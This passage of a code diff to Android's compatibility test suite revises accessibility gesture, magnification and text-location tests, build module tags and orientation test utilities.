+            }
+        }
+
+        public int getGesture(int index) {
+            synchronized (mCollectedGestures) {
+                return mCollectedGestures.get(index);
+            }
+        }
+
+        /** Wait for onGesture() to collect next gesture. */
+        public void waitUntilGesture() {
+            synchronized (mCollectedGestures) {
+                if (mCollectedGestures.size() > 0) {
+                  return;
+                }
+                try {
+                    mCollectedGestures.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
+                } catch (InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index dbf393b..70dc928 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -26,11 +26,11 @@
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.graphics.Matrix;
 import android.graphics.Path;
 import android.graphics.Point;
 import android.graphics.PointF;
-import android.graphics.Rect;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.test.ActivityInstrumentationTestCase2;
@@ -75,7 +75,7 @@
     MyTouchListener mMyTouchListener = new MyTouchListener();
     MyGestureCallback mCallback;
     TextView mFullScreenTextView;
-    Rect mViewBounds = new Rect();
+    int[] mViewLocation = new int[2];
     boolean mGotUpEvent;
     // Without a touch screen, there's no point in testing this feature
     boolean mHasTouchScreen;
@@ -101,7 +101,7 @@
         mFullScreenTextView =
                 (TextView) getActivity().findViewById(R.id.full_screen_text_view);
         getInstrumentation().runOnMainSync(() -> {
-            mFullScreenTextView.getGlobalVisibleRect(mViewBounds);
+            mFullScreenTextView.getLocationOnScreen(mViewLocation);
             mFullScreenTextView.setOnTouchListener(mMyTouchListener);
         });
 
@@ -294,8 +294,8 @@
     // and should work for rectangular, round and round with chin screens.
     public void testClickWhenMagnified_matchesActualTouch() throws InterruptedException {
         final float POINT_TOL = 2.0f;
-        final float CLICK_SHIFT_FROM_CENTER_X = 10;
-        final float CLICK_SHIFT_FROM_CENTER_Y = 20;
+        final float CLICK_OFFSET_X = 10;
+        final float CLICK_OFFSET_Y = 20;
         final float MAGNIFICATION_FACTOR = 2;
         if (!mHasTouchScreen) {
             return;
@@ -303,34 +303,46 @@
 
         final WindowManager wm = (WindowManager) getInstrumentation().getContext().getSystemService(
                 Context.WINDOW_SERVICE);
-        final DisplayMetrics metrics = new DisplayMetrics();
-        wm.getDefaultDisplay().getMetrics(metrics);
-        final float centerX = metrics.widthPixels / 2;
-        final float centerY = metrics.heightPixels / 2;
-        final PointF clickPoint = new PointF(
-                centerX + CLICK_SHIFT_FROM_CENTER_X * MAGNIFICATION_FACTOR,
-                centerY + CLICK_SHIFT_FROM_CENTER_Y * MAGNIFICATION_FACTOR);
-        final PointF offsetMagnifiedPointInView = new PointF(
-                centerX + CLICK_SHIFT_FROM_CENTER_X - mViewBounds.left,
-                centerY + CLICK_SHIFT_FROM_CENTER_Y - mViewBounds.top);
-
-        StubMagnificationAccessibilityService magnificationService =
+        final StubMagnificationAccessibilityService magnificationService =
                 StubMagnificationAccessibilityService.enableSelf(getInstrumentation());
-        android.accessibilityservice.AccessibilityService.MagnificationController
+        final AccessibilityService.MagnificationController
                 magnificationController = magnificationService.getMagnificationController();
+
+        final PointF magRegionCenterPoint = new PointF();
+        magnificationService.runOnServiceSync(() -> {
+            magnificationController.reset(false);
+            magRegionCenterPoint.set(magnificationController.getCenterX(),
+                    magnificationController.getCenterY());
+        });
+        final PointF magRegionOffsetPoint = new PointF();
+        magRegionOffsetPoint.set(magRegionCenterPoint);
+        magRegionOffsetPoint.offset(CLICK_OFFSET_X, CLICK_OFFSET_Y);
+
+        final PointF magRegionOffsetClickPoint = new PointF();
+        magRegionOffsetClickPoint.set(magRegionCenterPoint);
+        magRegionOffsetClickPoint.offset(
+                CLICK_OFFSET_X * MAGNIFICATION_FACTOR, CLICK_OFFSET_Y * MAGNIFICATION_FACTOR);
+
         try {
-            // Magnify screen by 2x with a magnification center in the center of the screen
+            // Zoom in
             final AtomicBoolean setScale = new AtomicBoolean();
             magnificationService.runOnServiceSync(() -> {
-                        setScale.set(magnificationController.setScale(MAGNIFICATION_FACTOR, false));
-                        magnificationController.setCenter(centerX, centerY, false);
-                    });
+                setScale.set(magnificationController.setScale(MAGNIFICATION_FACTOR, false));
+            });
             assertTrue("Failed to set scale", setScale.get());
 
-            GestureDescription click = createClick(clickPoint);
-            mService.runOnServiceSync(() -> mService.doDispatchGesture(click, mCallback, null));
+            // Click in the center of the magnification region
+            GestureDescription magRegionCenterClick = createClick(magRegionCenterPoint);
+            mService.runOnServiceSync(() -> mService.doDispatchGesture(
+                    magRegionCenterClick, mCallback, null));
             mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
-            waitForMotionEvents(any(MotionEvent.class), 2);
+
+            // Click at a slightly offset point
+            GestureDescription magRegionOffsetClick = createClick(magRegionOffsetClickPoint);
+            mService.runOnServiceSync(() -> mService.doDispatchGesture(
+                    magRegionOffsetClick, mCallback, null));
+            mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+            waitForMotionEvents(any(MotionEvent.class), 4);
         } finally {
             // Reset magnification
             final AtomicBoolean result = new AtomicBoolean();
@@ -340,11 +352,24 @@
             assertTrue("Failed to reset", result.get());
         }
 
-        assertEquals(2, mMotionEvents.size());
+        assertEquals(4, mMotionEvents.size());
+        // Because the MotionEvents have been captures by the view, the coordinates will
+        // be in the View's coordinate system.
+        magRegionCenterPoint.offset(-mViewLocation[0], -mViewLocation[1]);
+        magRegionOffsetPoint.offset(-mViewLocation[0], -mViewLocation[1]);
+
+        // The first click should be at the magnification center, as that point is invariant
+        // for zoom only
         assertThat(mMotionEvents.get(0),
-                both(IS_ACTION_DOWN).and(isAtPoint(offsetMagnifiedPointInView, POINT_TOL)));
+                both(IS_ACTION_DOWN).and(isAtPoint(magRegionCenterPoint, POINT_TOL)));
         assertThat(mMotionEvents.get(1),
-                both(IS_ACTION_UP).and(isAtPoint(offsetMagnifiedPointInView, POINT_TOL)));
+                both(IS_ACTION_UP).and(isAtPoint(magRegionCenterPoint, POINT_TOL)));
+
+        // The second point should be at the offset point
+        assertThat(mMotionEvents.get(2),
+                both(IS_ACTION_DOWN).and(isAtPoint(magRegionOffsetPoint, POINT_TOL)));
+        assertThat(mMotionEvents.get(3),
+                both(IS_ACTION_UP).and(isAtPoint(magRegionOffsetPoint, POINT_TOL)));
     }
 
     public void testContinuedGestures_motionEventsContinue() throws Exception {
@@ -575,7 +600,7 @@
 
     private GestureDescription createClickInViewBounds(Point clickPoint) {
         Point offsetClick = new Point(clickPoint);
-        offsetClick.offset(mViewBounds.left, mViewBounds.top);
+        offsetClick.offset(mViewLocation[0], mViewLocation[1]);
         return createClick(offsetClick);
     }
 
@@ -595,7 +620,7 @@
 
     private GestureDescription createLongClickInViewBounds(Point clickPoint) {
         Point offsetPoint = new Point(clickPoint);
-        offsetPoint.offset(mViewBounds.left, mViewBounds.top);
+        offsetPoint.offset(mViewLocation[0], mViewLocation[1]);
         Path clickPath = new Path();
         clickPath.moveTo(offsetPoint.x, offsetPoint.y);
         int longPressTime = ViewConfiguration.getLongPressTimeout();
@@ -619,7 +644,7 @@
             throw new IllegalArgumentException("Pinch spacing cannot be negative");
         }
         Point offsetCenter = new Point(centerPoint);
-        offsetCenter.offset(mViewBounds.left, mViewBounds.top);
+        offsetCenter.offset(mViewLocation[0], mViewLocation[1]);
         float[] startPoint1 = new float[2];
         float[] endPoint1 = new float[2];
         float[] startPoint2 = new float[2];
@@ -661,8 +686,8 @@
 
     Path linePathInViewBounds(Point startPoint, Point endPoint) {
         Path path = new Path();
-        path.moveTo(startPoint.x + mViewBounds.left, startPoint.y + mViewBounds.top);
-        path.lineTo(endPoint.x + mViewBounds.left, endPoint.y + mViewBounds.top);
+        path.moveTo(startPoint.x + mViewLocation[0], startPoint.y + mViewLocation[1]);
+        path.lineTo(endPoint.x + mViewLocation[0], endPoint.y + mViewLocation[1]);
         return path;
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index 791479e..1abb2ab 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -21,6 +21,7 @@
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Instrumentation;
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Region;
 import android.provider.Settings;
 import android.test.InstrumentationTestCase;
@@ -86,7 +87,7 @@
         final WindowManager wm = (WindowManager) mInstrumentation.getContext().getSystemService(
                 Context.WINDOW_SERVICE);
         final DisplayMetrics metrics = new DisplayMetrics();
-        wm.getDefaultDisplay().getMetrics(metrics);
+        wm.getDefaultDisplay().getRealMetrics(metrics);
         final float scale = 2.0f;
         final float x = metrics.widthPixels / 4.0f;
         final float y = metrics.heightPixels / 4.0f;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index 0f8b9c0..abc759c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -18,6 +18,7 @@
 import android.graphics.RectF;
 import android.os.Bundle;
 import android.os.Debug;
+import android.os.Message;
 import android.os.Parcelable;
 import android.text.SpannableString;
 import android.text.Spanned;
@@ -25,7 +26,10 @@
 import android.text.style.ClickableSpan;
 import android.text.style.URLSpan;
 import android.view.View;
+import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.accessibility.AccessibilityRequestPreparer;
 import android.widget.EditText;
 import android.widget.TextView;
 
@@ -34,10 +38,21 @@
 import java.util.Arrays;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
 
 import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH;
 import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX;
 import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
 
 /**
  * Test cases for actions taken on text views.
@@ -193,25 +208,10 @@
                 textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
         assertNull("Text locations should not be populated by default",
                 text.getExtras().get(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
-        Bundle getTextArgs = new Bundle();
-        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
-        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
-                text.getText().length());
+        final Bundle getTextArgs = getTextLocationArguments(text);
         assertTrue("Refresh failed", text.refreshWithExtraData(
                 AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
-        final Parcelable[] parcelables = text.getExtras()
-                .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
-        final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
-        assertEquals(text.getText().length(), locations.length);
-        // The text should all be on one line, running left to right
-        for (int i = 0; i < locations.length; i++) {
-            assertEquals(locations[0].top, locations[i].top);
-            assertEquals(locations[0].bottom, locations[i].bottom);
-            assertTrue(locations[i].right > locations[i].left);
-            if (i > 0) {
-                assertTrue(locations[i].left > locations[i-1].left);
-            }
-        }
+        assertNodeContainsTextLocationInfoOnOneLineLTR(text);
     }
 
     public void testTextLocations_textOutsideOfViewBounds_locationsShouldBeNull() {
@@ -223,12 +223,9 @@
         List<String> textAvailableExtraData = text.getAvailableExtraData();
         assertTrue("Text view should offer text location to accessibility",
                 textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
-        Bundle getTextArgs = new Bundle();
-        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
-        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
-                text.getText().length());
+        final Bundle getTextArgs = getTextLocationArguments(text);
         assertTrue("Refresh failed", text.refreshWithExtraData(
-                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+                EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
         Parcelable[] parcelables = text.getExtras()
                 .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
         final RectF[] locationsBeforeScroll = Arrays.copyOf(
@@ -255,7 +252,7 @@
         getInstrumentation().runOnMainSync(() -> editText.scrollTo(0, (int) oneLineDownY + 1));
 
         assertTrue("Refresh failed", text.refreshWithExtraData(
-                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+                EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
         parcelables = text.getExtras()
                 .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
         final RectF[] locationsAfterScroll = Arrays.copyOf(
@@ -266,6 +263,135 @@
         assertNotNull(locationsAfterScroll[firstNullRectIndex]);
     }
 
+    public void testTextLocations_withRequestPreparer_shouldHoldOffUntilReady() {
+        final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+        makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+        final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+        final List<String> textAvailableExtraData = text.getAvailableExtraData();
+        final Bundle getTextArgs = getTextLocationArguments(text);
+
+        // Register a request preparer that will capture the message indicating that preparation
+        // is complete
+        final AtomicReference<Message> messageRefForPrepare = new AtomicReference<>(null);
+        // Use mockito's asynchronous signaling
+        Runnable mockRunnableForPrepare = mock(Runnable.class);
+
+        AccessibilityManager a11yManager =
+                getActivity().getSystemService(AccessibilityManager.class);
+        AccessibilityRequestPreparer requestPreparer = new AccessibilityRequestPreparer(
+                textView, AccessibilityRequestPreparer.REQUEST_TYPE_EXTRA_DATA) {
+            @Override
+            public void onPrepareExtraData(int virtualViewId,
+                    String extraDataKey, Bundle args, Message preparationFinishedMessage) {
+                assertEquals(AccessibilityNodeProvider.HOST_VIEW_ID, virtualViewId);
+                assertEquals(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, extraDataKey);
+                assertEquals(0, args.getInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX));
+                assertEquals(text.getText().length(),
+                        args.getInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH));
+                messageRefForPrepare.set(preparationFinishedMessage);
+                mockRunnableForPrepare.run();
+            }
+        };
+        a11yManager.addAccessibilityRequestPreparer(requestPreparer);
+        verify(mockRunnableForPrepare, times(0)).run();
+
+        // Make the extra data request in another thread
+        Runnable mockRunnableForData = mock(Runnable.class);
+        new Thread() {
+            @Override
+            public void run() {
+                assertTrue("Refresh failed", text.refreshWithExtraData(
+                        EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+                mockRunnableForData.run();
+            }
+        }.start();
+
+        // The extra data request should trigger the request preparer
+        verify(mockRunnableForPrepare, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+        // Verify that the request for extra data didn't return. This is a bit racy, as we may still
+        // not catch it if it does return prematurely, but it does provide some protection.
+        getInstrumentation().waitForIdleSync();
+        verify(mockRunnableForData, times(0)).run();
+
+        // Declare preparation for the request complete, and verify that it runs to completion
+        messageRefForPrepare.get().sendToTarget();
+        verify(mockRunnableForData, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+        assertNodeContainsTextLocationInfoOnOneLineLTR(text);
+        a11yManager.removeAccessibilityRequestPreparer(requestPreparer);
+    }
+
+    public void testTextLocations_withUnresponsiveRequestPreparer_shouldTimeout() {
+        final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+        makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+        final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+        final List<String> textAvailableExtraData = text.getAvailableExtraData();
+        final Bundle getTextArgs = getTextLocationArguments(text);
+
+        // Use mockito's asynchronous signaling
+        Runnable mockRunnableForPrepare = mock(Runnable.class);
+
+        AccessibilityManager a11yManager =
+                getActivity().getSystemService(AccessibilityManager.class);
+        AccessibilityRequestPreparer requestPreparer = new AccessibilityRequestPreparer(
+                textView, AccessibilityRequestPreparer.REQUEST_TYPE_EXTRA_DATA) {
+            @Override
+            public void onPrepareExtraData(int virtualViewId,
+                    String extraDataKey, Bundle args, Message preparationFinishedMessage) {
+                mockRunnableForPrepare.run();
+            }
+        };
+        a11yManager.addAccessibilityRequestPreparer(requestPreparer);
+        verify(mockRunnableForPrepare, times(0)).run();
+
+        // Make the extra data request in another thread
+        Runnable mockRunnableForData = mock(Runnable.class);
+        new Thread() {
+            @Override
+            public void run() {
+                /*
+                 * Don't worry about the return value, as we're timing out. We're just making
+                 * sure that we don't hang the system.
+                 */
+                text.refreshWithExtraData(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs);
+                mockRunnableForData.run();
+            }
+        }.start();
+
+        // The extra data request should trigger the request preparer
+        verify(mockRunnableForPrepare, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+
+        // Declare preparation for the request complete, and verify that it runs to completion
+        verify(mockRunnableForData, timeout(TIMEOUT_ASYNC_PROCESSING)).run();
+        a11yManager.removeAccessibilityRequestPreparer(requestPreparer);
+    }
+
+    private Bundle getTextLocationArguments(AccessibilityNodeInfo info) {
+        Bundle args = new Bundle();
+        args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
+        args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH, info.getText().length());
+        return args;
+    }
+
+    private void assertNodeContainsTextLocationInfoOnOneLineLTR(AccessibilityNodeInfo info) {
+        final Parcelable[] parcelables = info.getExtras()
+                .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+        final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
+        assertEquals(info.getText().length(), locations.length);
+        // The text should all be on one line, running left to right
+        for (int i = 0; i < locations.length; i++) {
+            assertEquals(locations[0].top, locations[i].top);
+            assertEquals(locations[0].bottom, locations[i].bottom);
+            assertTrue(locations[i].right > locations[i].left);
+            if (i > 0) {
+                assertTrue(locations[i].left > locations[i-1].left);
+            }
+        }
+    }
+
     private void onClickCallback() {
         synchronized (mClickableSpanCallbackLock) {
             mClickableSpanCalled.set(true);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 324cf33..2b6d2dd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -7,6 +7,7 @@
 import android.os.Handler;
 import android.os.SystemClock;
 import android.provider.Settings;
+import android.support.annotation.CallSuper;
 import android.test.InstrumentationTestCase;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
@@ -36,6 +37,7 @@
 
 
     @Override
+    @CallSuper
     protected void onServiceConnected() {
         synchronized (sInstances) {
             sInstances.put(getClass(), new WeakReference<>(this));
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index 595c0a3..d30cca1 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsAdminTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_INSTRUMENTATION_FOR := CtsAdminApp
 
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index aac8a89..b0e7ff5 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,14 +22,14 @@
 
 LOCAL_JAVA_LIBRARIES := guava
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsAdminApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index bb1dc10..f479dca 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -37,7 +37,7 @@
     $(call all-java-files-under, appSdk25/src) \
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAppTestCases
 
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 3c0a0c5..4b6057d 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -37,7 +37,7 @@
               src/android/app/stubs/ISecondary.aidl
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAppTestStubs
 
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index b2412f65..7db0717 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -42,6 +42,7 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.BODY_SENSORS" />
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+    <uses-permission android:name="android.permission.SET_WALLPAPER" />
 
     <application android:label="Android TestCase"
                 android:icon="@drawable/size_48x48"
@@ -56,15 +57,6 @@
 
         <activity android:name="android.app.stubs.ActionBarActivity" />
 
-        <activity android:name="android.app.stubs.DialogStubActivity"
-            android:label="DialogStubActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
         <activity android:name="android.app.stubs.MockActivity" android:label="MockActivity">
             <meta-data android:name="android.app.alias"
                 android:resource="@xml/alias" />
@@ -344,6 +336,16 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.app.stubs.MetaDataMaxAspectRatioActivity"
+                  android:label="MetaDataMaxAspectRatioActivity"
+                  android:resizeableActivity="false">
+            <meta-data android:name="android.max_aspect" android:value="1.0" />
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
                   android:label="MaxAspectRatioResizeableActivity"
                   android:resizeableActivity="true"
diff --git a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
index b5233da..e030ceb 100644
--- a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
@@ -27,12 +27,20 @@
  * An {@link Activity} that exposes the underlying {@link Display} details.
  */
 public class DisplayTestActivity extends Activity {
+    public final OrientationTestUtils.Observer configurationChangeObserver =
+            new OrientationTestUtils.Observer();
 
     @Override
     protected void onCreate(@Nullable Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
     }
 
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        configurationChangeObserver.onObserved();
+    }
+
     public Display getDisplay() {
         return getSystemService(WindowManager.class).getDefaultDisplay();
     }
diff --git a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
new file mode 100644
index 0000000..2e989de
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class MetaDataMaxAspectRatioActivity extends Activity {
+
+}
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 645a7ad..e9c9813 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -17,11 +17,14 @@
 package android.app.stubs;
 
 import android.app.Activity;
-import android.app.Instrumentation;
 import android.content.pm.ActivityInfo;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+import static org.junit.Assert.assertTrue;
 
 public class OrientationTestUtils {
-
     /**
      * Change the activity's orientation to something different and then switch back. This is used
      * to trigger {@link Activity#onConfigurationChanged(android.content.res.Configuration)}.
@@ -29,45 +32,75 @@
      * @param activity whose orientation will be changed and restored
      */
     public static void toggleOrientation(Activity activity) {
-        toggleOrientationSync(activity, null);
-    }
-
-    /**
-     * Same as {@link #toggleOrientation(Activity)} except {@link Instrumentation#waitForIdleSync()}
-     * is called after each orientation change.
-     *
-     * @param activity whose orientation will be changed and restored
-     * @param instrumentation use for idle syncing
-     */
-    public static void toggleOrientationSync(final Activity activity,
-            final Instrumentation instrumentation) {
-        final int originalOrientation = activity.getResources().getConfiguration().orientation;
-        final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
-                ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
-                : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-        changeOrientation(activity, instrumentation, newOrientation);
-        changeOrientation(activity, instrumentation, originalOrientation);
+        final int[] orientations = getOrientations(activity);
+        activity.setRequestedOrientation(orientations[1]);
+        activity.setRequestedOrientation(orientations[0]);
     }
 
     /**
      * Switches the device's orientation from landscape to portrait or portrait to landscape.
      *
-     * @param activity whose orientation will be changed.
-     * @param instrumentation use for idle syncing
+     * @param activity whose orientation will be changed
+     * @return original orientation
      */
-    public static void switchOrientation(final Activity activity, Instrumentation instrumentation) {
-        final int originalOrientation = activity.getResources().getConfiguration().orientation;
-        final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
-                ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
-                : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-        changeOrientation(activity, instrumentation, newOrientation);
+    public static void switchOrientation(final Activity activity) {
+        final int[] orientations = getOrientations(activity);
+        activity.setRequestedOrientation(orientations[1]);
     }
 
-    private static void changeOrientation(final Activity activity,
-            Instrumentation instrumentation, final int orientation) {
-        activity.setRequestedOrientation(orientation);
-        if (instrumentation != null) {
-            instrumentation.waitForIdleSync();
+    /**
+     * Returns original orientation and toggled orientation.
+     * @param activity whose orienetaion will be returned
+     * @return The first element is original orientation adn the second element is toggled
+     *     orientation.
+     */
+    private static int[] getOrientations(final Activity activity) {
+        final int originalOrientation = activity.getResources().getConfiguration().orientation;
+        final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+            ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+            : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+        return new int[] { originalOrientation, newOrientation };
+    }
+
+    /**
+     * Observer used in stub activities to wait for some event.
+     */
+    public static class Observer {
+        private static final int TIMEOUT_SEC = 3;
+        private final AtomicReference<CountDownLatch> mLatch = new AtomicReference();
+
+        /**
